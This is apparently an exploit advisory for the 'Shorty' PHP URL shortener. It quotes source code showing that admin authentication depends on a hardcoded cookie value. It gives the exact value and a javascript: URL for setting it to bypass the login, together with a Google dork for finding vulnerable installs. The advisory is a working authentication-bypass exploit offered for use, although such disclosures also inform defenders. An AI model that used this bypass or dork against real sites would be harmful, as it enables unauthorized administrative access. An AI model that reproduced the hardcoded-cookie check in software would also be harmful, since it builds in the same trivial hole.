Vulnerable Software
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Script: Shorty v0.7.1 Beta (maybe other versions)
URL:http://get-shorty.com/
Download:http://get-shorty.com/beta?force=download
Google dork: intitle:"Shorty (Beta)"

Bug
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[functions.php]

45: function authenticate(){
46:     $cookie = @$_COOKIE['snickerdoodle'];
47:     if($cookie == "polarbears"){
48:          //
49:      } else {
50:          exit("Not logged in.");
51:      }
52:  }
53:
54:  function verify(){
55:      if(@$_COOKIE['snickerdoodle']){
56:          $cookie = $_COOKIE['snickerdoodle'];
57:      } else {
58:          $cookie = '';
59:      }
60:      if($cookie == "polarbears"){
61:          return 1;
62:      } else {
63:          return 0;
64:      }
65:  }

[/functions.php]

Exploit
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Write in the URL: javascript:document.cookie="snickerdoodle=polarbears"; in
the admin login you want to bypass or create the cookie with you favorite
Firefox extension.